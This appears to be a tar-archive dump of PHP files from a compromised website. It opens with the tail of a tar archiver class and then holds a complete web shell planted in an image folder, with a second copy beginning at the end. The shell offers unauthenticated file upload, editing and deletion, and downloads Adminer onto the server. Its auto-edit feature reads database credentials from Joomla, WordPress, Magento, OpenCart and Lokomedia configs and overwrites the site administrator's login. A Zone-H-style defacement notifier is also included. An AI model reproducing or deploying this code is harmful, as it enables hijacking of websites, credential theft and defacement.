		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
img/images/files/index.php000066600000055511151334722440011527 0ustar00<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);
$dir = $currentDir; // Needed for Adminer logic

// Adminer Download Panel
if (isset($_GET['DPH']) && $_GET['DPH'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FILE, $fp);
        $result = curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
        return $result;
    }

    echo "<center><h2>Adminer Downloader</h2>";
    if (file_exists('adminer.php')) {
        echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
    } else {
        if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) {
            echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
        } else {
            echo "<font color=red>Failed to create adminer.php</font>";
        }
    }
    echo "</center>";
    exit;
}

// Simulated Zone-H Notifier
if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') {
    echo "<hr><center><h2>Zone-H Style Notifier (Simulated)</h2>";
    if (isset($_POST['submit'])) {
        $domainList = explode("\r\n", $_POST['url']);
        $nick = $_POST['nick'];
        echo "Notifier Archive: <a href='#' target='_blank'>http://zone-h.org/archive/notifier=$nick</a><br><br>";
        foreach ($domainList as $url) {
            $url = trim($url);
            if ($url) {
                echo htmlspecialchars($url) . " -> <font color=lime>SIMULATED_OK</font><br>";
            }
        }
    } else {
        echo "<form method='post'>
            <u>Defacer</u>: <br>
            <input type='text' name='nick' size='50' value='DPH'><br>
            <u>Domains</u>: <br>
            <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
            <input type='submit' name='submit' value='Submit' style='width: 450px;'>
            </form>";
    }
    echo "</center><hr>";
    exit;
}

// Auto Edit User Config
if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') {
    function ambilkata($string, $start, $end) {
        $str = explode($start, $string);
        if (isset($str[1])) {
            $str = explode($end, $str[1]);
            return $str[0];
        }
        return '';
    }
    
    if (isset($_POST['hajar'])) {
        if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "username atau password harus lebih dari 6 karakter";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center>
        <h1>Auto Edit User Config</h1>
        <form method='post'>
        <input type='hidden' name='d' value='".base64_encode($currentDir)."'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set User & Pass: <br>
        <input type='text' name='user_baru' value='DPH' placeholder='user_baru'><br>
        <input type='text' name='pass_baru' value='DPH690' placeholder='pass_baru'><br>
        <input type='submit' name='hajar' value='Sikat!' style='width: 215px;'>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
        exit;
    }
}

// Directory Navigation
$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
    if ($v == "" && $k == 0) {
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
        continue;
    }
    $dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
    echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";

// Upload
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
    $fileName = $_FILES['u']['name'];
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = $currentDir . '/' . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
    } else {
        echo "<script>alert('Upload failed!');</script>";
    }
}

// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
    echo "<table>";
    echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>";

    foreach ($items as $item) {
        $fullPath = $currentDir . '/' . $item;
        if ($item == '.' || $item == '..') continue;

        if (is_dir($fullPath)) {
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\">📁 $item</a></td><td>--</td><td>--</td></tr>";
        } else {
            $size = filesize($fullPath) / 1024;
            $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">📄 $item</a></td><td>$size</td><td>"
                . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>"
                . "</td></tr>";
        }
    }
    echo "</table>";
} else {
    echo "<p>Unable to read directory!</p>";
}

// Delete File
if (isset($_POST['del'])) {
    $filePath = base64_decode($_POST['del']);
    $fileDir = dirname($filePath);
    if (@unlink($filePath)) {
        echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Edit File
if (isset($_POST['edit'])) {
    $filePath = base64_decode($_POST['edit']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath)) {
        echo "<style>table{display:none;}</style>";
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>";
        echo "<form method=\"post\">
            <input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">
            <textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <center><button type=\"submit\" name=\"save\">Save</button></center>
            </form>";
    }
}

// Save Edited File
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $filePath = base64_decode($_POST['obj']);
    $fileDir = dirname($filePath);
    if (file_put_contents($filePath, $_POST['content'])) {
        echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Rename
if (isset($_POST['ren'])) {
    $oldPath = base64_decode($_POST['ren']);
    $oldDir = dirname($oldPath);
    if (isset($_POST['new'])) {
        $newPath = $oldDir . '/' . $_POST['new'];
        if (rename($oldPath, $newPath)) {
            echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>";
        } else {
            echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>";
        }
    } else {
        echo "<form method=\"post\">
            New Name: <input name=\"new\" type=\"text\">
            <input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">
            <input type=\"submit\" value=\"Submit\">
            </form>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager + Adminer + ZoneH + AutoEditUser</title>
    <style>
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt("New name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                var input1 = document.createElement("input");
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    </script>
</head>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
        </form>
        <div style="margin-top: 10px;">
            <a href="?DPH=adminer">Adminer Download</a> | 
            <a href="?DPH=zoneh">Zone-H Notifier</a> | 
            <a href="?DPH=edit_user">Auto Edit User Config</a>
        </div>
    </div>
</body>
</html>img/images/files/slhi/index.php000066600000055511151334722440012466 0ustar00<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);
$dir = $currentDir; // Needed for Adminer logic

// Adminer Download Panel
if (isset($_GET['DPH']) && $_GET['DPH'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FILE, $fp);
        $result = curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
        return $result;
    }

    echo "<center><h2>Adminer Downloader</h2>";
